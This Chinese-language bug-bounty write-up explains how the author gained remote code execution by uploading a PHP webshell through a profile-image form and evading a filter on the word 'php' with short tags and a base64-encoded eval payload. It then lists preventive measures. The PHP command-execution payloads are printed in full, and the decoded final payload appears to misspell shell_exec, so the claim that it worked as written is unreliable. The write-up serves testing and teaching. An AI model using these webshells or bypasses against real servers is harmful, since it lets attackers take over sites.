引言
在这篇文章中,我将讲解我是如何仅仅通过上传一个配置文件就发现了一个远程代码执行(RCE)漏洞的。不过,服务器端有一些过滤检查机制,我们需要了解服务器会如何对每个包含恶意字符的请求做出反应。其实这比听起来要容易,如果你热衷于漏洞挖掘或渗透测试,这是你会想了解的内容!
什么是远程代码执行(RCE)?
远程代码执行(RCE)指的是攻击者能够远程在服务器上运行任何他们想要的命令。想象一下,仅仅通过上传一个文件就能控制一个网站的服务器 —— 很可怕,对吧?这就是 RCE 所能做到的。
文件上传为何具有危险性
许多网站允许用户上传图片或文档等文件。但如果网站在接收文件时不够谨慎,攻击者就可能上传一个不只是存储数据的文件 —— 这个文件可能会接管服务器。这就是 RCE 发挥作用的地方。
我是如何发现这个漏洞的
以下是我通过文件上传发现远程代码执行漏洞的详细步骤:
- 分析托管服务器及其编程语言
我们首先需要分析托管服务器,即当前应用程序所托管和运行的服务器类型。有两种方法可以识别这一点:
使用 Wappalyzer 扩展程序
通过观察响应头:
通过观察响应头确定目标
基于上述判断出的 “Apache” 服务器,我们确定尝试利用此环境来尝试引发远程代码执行(RCE)漏洞。
2. 在个人资料功能处上传 PHP 文件
在个人资料上传功能中,一开始我尝试上传文件时,遇到了客户端限制,该限制仅允许上传诸如 .jpg
和 .png
之类的图片文件。为绕过这一限制,我先上传了一张图片,然后使用 BurpSuite 拦截了该请求。
在成功捕获请求后,我将文件扩展名改为 .php
,并注入了一个简单的 PHP 有效负载,以通过 GET 方法执行命令。
<?php system($_GET['cmd']); ?>
尽管服务器接受了 .php
扩展名,但由于服务器端的某些过滤机制,它阻止了 PHP 有效负载的执行。我开始进行试验,逐步从代码中移除特殊字符,并观察服务器的响应。经过多次尝试后,我发现如果检测到代码中包含 “php” 这个词,服务器就会阻止文件上传;若不包含该词,上传就能成功。
被阻止的有效负载 — <?php system($_GET['cmd']); ?>
被接受的有效负载 — <? system($_GET['cmd']); ?>
在这里,有效负载虽然上传成功了,但却无法执行!!!
3. 编写恶意代码
接下来,我尝试了各种 PHP 脚本,所有脚本都成功上传了,但没有一个可以执行。我没有放弃!仔细思考后,我想,为什么不尝试以编码格式发送有效负载呢?
我决定编写一个使用 Base64 编码的 PHP 脚本。最终的有效负载是:
<?=eval(base64_decode('ZWNobyBzaGVsbF91eGVjKCRfR0VUWydjbWQnXS4nIDI+JjEnKTs='));?>
我注入了这个有效负载,它成功执行了。远程代码执行(RCE)漏洞利用成功!
为什么这样做可行?
此漏洞之所以存在,原因如下:
- 服务器未对文件类型进行限制 —— 它允许我上传像
.php
这样危险的文件。 - 文件上传目录允许脚本执行,这意味着我的 PHP 文件能够运行。
- 网站没有对上传文件的内容进行恰当的检查或清理。
如何防范此类问题
开发者可以通过以下方式防止远程代码执行(RCE)漏洞:
- 限制允许的文件类型:仅允许上传安全的文件类型,如
.jpg
、.png
或.pdf
。 - 验证文件内容:检查文件是否名副其实,不要仅仅依赖文件扩展名。
- 安全存储文件:将上传的文件存储在一个即使包含恶意代码也无法执行的文件夹中。
总结
如果你知道该寻找什么,通过文件上传来发现远程代码执行漏洞并不难。关键在于测试服务器如何处理文件,并检查是否能够上传危险文件。如果你是初学者,可以尝试对文件上传表单进行测试,也许会发现类似的问题。